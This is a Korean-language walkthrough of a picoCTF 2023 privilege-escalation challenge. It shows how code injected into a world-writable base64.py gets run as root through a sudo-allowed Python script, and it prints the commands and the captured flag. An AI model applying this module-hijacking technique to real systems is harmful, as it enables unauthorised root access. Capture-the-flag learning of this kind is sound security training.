

```

picoctf@challenge:~$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domain
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering", 'Host: ', host_info)
picoctf@challenge:~$ |

```

Ssh로 서버에 접속하면 home 파일에 .server.py 파일이라는 숨김파일이 존재한다.

남치 



중간 **이진법 활용** **피코CTF 2023** 권한 상승

저자: 태오네스테 비아구탕가자

설명

루트 권한을 얻으면 플래그를 얻을 수 있습니다. 다행히도, 여러분이 사용해 볼 만한 파이썬 파일이 있습니다.

소셜 엔지니어링을 통해 서버에서 사용할 자격 증명을 확보했습니다. 서버에서 SSH가 실행 중입니다.

saturn.picocftf.net 58500

Username: picocftf

Password: IhL436DlmJ

이 챌린지는 요청 시 인스턴스를 시작합니다.

현재 상태는 다음과 같습니다. **RUNNING**



남은 인스턴스 시간: 2:41

**인스턴스 다시 시작**

힌트 ?

1 2

2,754명의 사용자가 해결했습니다.

 66%가 좋아함 

 피코CTF{플래그}

**플래그 제출**

문제를 보면 루트 권한을 얻으면 플래그를 얻을 수 있다고 되어있고, 문제이름은 하이재킹인걸로 봐서 .server.py 의 특정 모듈을 가로채 flag.txt를 읽으면 되는 것 같다.

```

picotf@challenge:~$ ll
total 16
drwxr-xr-x 1 picotf picotf 20 Aug 11 15:40 ./
drwxr-xr-x 1 root   root   21 Aug  4 2023 ../
-rw-r--r-- 1 picotf picotf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 picotf picotf 3771 Feb 25 2020 .bashrc
drwx----- 2 picotf picotf 34 Aug 11 15:40 .cache/
-rw-r--r-- 1 picotf picotf 807 Feb 25 2020 .profile
-rw-r--r-- 1 root   root   375 Feb  7 2024 .server.py
picotf@challenge:~$ cat .server.py

```

.server.py 파일 권한을 보면 root 권한으로 되어있다.

```

picotf@challenge:~$ sudo -l
Matching Defaults entries for picotf on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picotf may run the following commands on challenge:
    (root) NOPASSWD: /usr/bin/python3 /home/picotf/.server.py
picotf@challenge:~$

```

Sudo 설정을 보면 .server.py는 password없이 root 권한으로 실행시킬 수 있다.

그럼 어떤 모듈을 하이재킹 할 수 있는지 살펴봐야한다.

```

picotf@challenge:~$ python3
Python 3.8.10 (default, May 26 2023, 14:05:08)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> print(sys.path)
['', '/usr/lib/python3.8.zip', '/usr/lib/python3.8', '/usr/lib/python3.8/lib-dynload', '/usr/local/lib/python3.8/dist-packages', '/usr/lib/python3.8/dist-packages']
>>>

```

파이썬 모듈을 /usr/lib/python3.8에서 받아오는걸 알 수 있다.

해당 폴더를 살펴본다.

.server.py에서 사용하는 모듈을 보면 base64, os, socket 이 세가지 모듈을 사용하고 있

다.

```
drwxr-xr-x 3 root root 4096 Aug  4 2023 asyncio
-rw-r--r-- 1 root root 20094 May 26 2023 asyncore.py
-rwxrwxrwx 1 root root 20382 May 26 2023 base64.py
-rw-r--r-- 1 root root 32056 May 26 2023 bdb.py
-rw-r--r-- 1 root root 13954 May 26 2023 binhex.py
```

세가지중 base64.py가 유일하게 쓰기권한을 가지고 있다.

해당 파일에 아래와 같이 코드를 추가한다. 그러면 .server.py에서 해당 모듈을 호출할 때 해당 코드도 실행될 것이다.

```
import re
import struct
import binascii
import os

os.system("cat /root/.flag.txt")
```

```
picotf@challenge:~$ sudo python3 /home/picotf/.server.py
picoCTF{pYth0nn_libraryH!j@CK!n9_13cfd3cc}
sh: 1: ping: not found
Traceback (most recent call last):
  File "/home/picotf/.server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
picotf@challenge:~$
```

.server.py를 root 권한으로 실행시키면 flag가 출력된다.